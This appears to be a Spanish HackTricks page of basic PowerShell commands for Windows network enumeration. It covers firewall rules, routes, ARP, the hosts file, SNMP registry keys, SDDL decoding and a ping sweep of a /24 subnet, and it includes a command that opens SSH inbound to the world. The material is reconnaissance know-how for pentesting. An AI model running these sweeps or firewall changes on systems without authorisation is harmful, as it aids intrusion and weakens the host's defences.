Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action

Ruta

route print

ARP

El Protocolo de Resolución de Direcciones (ARP, por sus siglas en inglés) es un protocolo de red utilizado para asociar direcciones IP con direcciones MAC en una red local. ARP se utiliza para descubrir la dirección MAC de un dispositivo en la misma red local, dado su dirección IP.

El funcionamiento básico de ARP implica que un dispositivo envíe una solicitud ARP (ARP request) a la red local, preguntando por la dirección MAC asociada a una dirección IP específica. El dispositivo con la dirección IP solicitada responderá con un mensaje ARP (ARP reply) que contiene su dirección MAC.

ARP es ampliamente utilizado en redes Ethernet y es esencial para el funcionamiento de la comunicación en una red local. Sin embargo, también puede ser utilizado en ataques de suplantación de identidad (spoofing) y envenenamiento de ARP (ARP poisoning) para interceptar y manipular el tráfico de red.

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Hosts

Los archivos de hosts son utilizados por el sistema operativo para mapear nombres de dominio a direcciones IP. Esto se hace para evitar la necesidad de consultar un servidor DNS cada vez que se accede a un sitio web. En Windows, el archivo de hosts se encuentra en la siguiente ubicación:

C:\Windows\System32\drivers\etc\hosts

Puedes editar este archivo para redirigir nombres de dominio a direcciones IP diferentes. Esto puede ser útil en situaciones de prueba de penetración, donde deseas redirigir un nombre de dominio a tu propia máquina para realizar pruebas.

Sin embargo, ten en cuenta que modificar el archivo de hosts puede tener consecuencias no deseadas y afectar el funcionamiento normal del sistema. Asegúrate de hacer una copia de seguridad del archivo original antes de realizar cualquier modificación.

PowerShell

PowerShell es una herramienta de línea de comandos y scripting desarrollada por Microsoft. Es especialmente útil para los profesionales de la seguridad informática, ya que proporciona una amplia gama de funcionalidades para la automatización de tareas y la administración de sistemas.

PowerShell utiliza un lenguaje de scripting basado en .NET Framework, lo que le permite interactuar con una amplia variedad de servicios y componentes del sistema operativo. También es compatible con la ejecución de comandos remotos en sistemas Windows, lo que lo convierte en una herramienta valiosa para los pentesters.

En este directorio, encontrarás algunos scripts básicos de PowerShell que pueden ser útiles para los pentesters. Estos scripts abarcan desde la enumeración de información del sistema hasta la ejecución de comandos remotos en máquinas Windows.

Recuerda que el uso de PowerShell para fines maliciosos o sin el consentimiento del propietario del sistema es ilegal y éticamente incorrecto. Asegúrate de utilizar estas herramientas solo con fines legítimos y dentro de los límites de la ley.

Get-Content C:\WINDOWS\System32\drivers\etc\hosts

Ping

El comando ping se utiliza para verificar la conectividad entre dos dispositivos en una red. Envía un paquete de datos a la dirección IP de destino y espera una respuesta. Esto permite determinar si el dispositivo de destino está accesible y cuánto tiempo tarda en responder.

Uso básico

ping <dirección IP o nombre de dominio>

Por ejemplo:

ping 192.168.0.1

o

ping www.ejemplo.com

Resultados

Cuando se ejecuta el comando ping, se mostrará una serie de resultados. Los más comunes son:

  • Tiempo de respuesta: muestra cuánto tiempo tarda en llegar y regresar el paquete de datos. Se mide en milisegundos (ms).
  • Paquetes enviados: muestra el número total de paquetes enviados.
  • Paquetes recibidos: muestra el número total de paquetes recibidos.
  • Porcentaje de pérdida de paquetes: muestra el porcentaje de paquetes perdidos durante la transmisión.

Interpretación de los resultados

  • Si el dispositivo de destino está accesible, se mostrará el tiempo de respuesta y el porcentaje de pérdida de paquetes será bajo.
  • Si el dispositivo de destino no está accesible, se mostrará un mensaje de error y el porcentaje de pérdida de paquetes será alto.

Uso avanzado

El comando ping también admite opciones adicionales para personalizar la prueba de conectividad. Algunas opciones comunes incluyen:

  • -t: envía paquetes de forma continua hasta que se detenga manualmente.
  • -n <número>: especifica el número de paquetes a enviar.
  • -l <tamaño>: especifica el tamaño del paquete en bytes.

Por ejemplo:

ping -t 192.168.0.1

o

ping -n 10 www.ejemplo.com

Estas opciones pueden ser útiles para realizar pruebas más exhaustivas de conectividad de red.

$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP

El Protocolo Simple de Administración de Red (SNMP, por sus siglas en inglés) es un protocolo de red utilizado para administrar y supervisar dispositivos en una red. SNMP permite a los administradores de red recopilar información sobre el estado y el rendimiento de los dispositivos, así como realizar acciones de administración, como reiniciar un dispositivo o cambiar su configuración.

SNMP utiliza un modelo cliente-servidor, donde los dispositivos administrados actúan como servidores SNMP y los sistemas de administración actúan como clientes SNMP. Los dispositivos administrados exponen información en forma de objetos gestionados, que pueden ser consultados y modificados por los clientes SNMP.

Los comandos SNMP se envían a través de mensajes SNMP, que se transmiten a través de la red utilizando el Protocolo de Datagramas de Usuario (UDP). Estos mensajes contienen una serie de variables de gestión que especifican la operación a realizar y los datos asociados.

SNMP utiliza una estructura jerárquica de objetos gestionados, organizados en una base de información de administración (MIB, por sus siglas en inglés). La MIB define los objetos gestionados y sus atributos, proporcionando una estructura estándar para la administración de dispositivos de red.

Los pentesters pueden utilizar SNMP para obtener información valiosa sobre los dispositivos en una red, como direcciones IP, nombres de host, versiones de software y configuraciones. También pueden utilizar SNMP para realizar acciones de administración, como reiniciar dispositivos o cambiar su configuración.

Sin embargo, es importante tener en cuenta que SNMP puede presentar riesgos de seguridad si no se configura correctamente. Los dispositivos SNMP mal configurados pueden ser vulnerables a ataques de enumeración, denegación de servicio y manipulación de datos. Por lo tanto, es fundamental asegurarse de que los dispositivos SNMP estén configurados de manera segura y de acuerdo con las mejores prácticas de seguridad.

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Convirtiendo la cadena SDDL en un formato legible

Cuando se realiza una evaluación de seguridad en un entorno de Windows, es común encontrar permisos y configuraciones de seguridad definidos en forma de cadenas SDDL (Security Descriptor Definition Language). Estas cadenas pueden ser difíciles de entender y analizar para los pentesters. Afortunadamente, PowerShell proporciona una forma sencilla de convertir estas cadenas SDDL en un formato legible.

El siguiente comando de PowerShell se puede utilizar para convertir una cadena SDDL en un formato legible:

$sddl = "cadena_sddl"
$securityDescriptor = New-Object -TypeName System.Security.AccessControl.RawSecurityDescriptor -ArgumentList $sddl
$securityDescriptor.GetSddlForm([System.Security.AccessControl.AccessControlSections]::All)

Reemplace "cadena_sddl" con la cadena SDDL que desea convertir. El comando creará un objeto RawSecurityDescriptor utilizando la cadena SDDL proporcionada y luego utilizará el método GetSddlForm para obtener la representación legible del descriptor de seguridad.

Este comando puede ser útil para comprender rápidamente los permisos y configuraciones de seguridad definidos en una cadena SDDL, lo que facilita el análisis y la evaluación de la seguridad en un entorno de Windows.


PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Propietario: BUILTIN\Administradores
Grupo: BUILTIN\Administradores
DiscretionaryAcl: {Everyone: AccesoDenegado (WriteData), Everyone: AccesoPermitido (WriteExtendedAttributes), NT AUTHORITY\ANONYMOUS LOGON: AccesoPermitido (CreateDirectories, GenericExecute, ReadPermissions, Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccesoPermitido (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)...}
SystemAcl: {Everyone: AuditoríaDelSistema AccesoExitoso (ChangePermissions, TakeOwnership, Traverse), BUILTIN\Administradores: AuditoríaDelSistema AccesoExitoso (WriteAttributes), DOMAIN_NAME\Usuarios del dominio: AuditoríaDelSistema AccesoExitoso (WriteAttributes), Everyone: AuditoríaDelSistema AccesoExitoso (Traverse)...}
RawDescriptor: System.Security.AccessControl.CommonSecurityDescriptor
<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong> HackTricks Cloud </strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙 Twitch 🎙</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>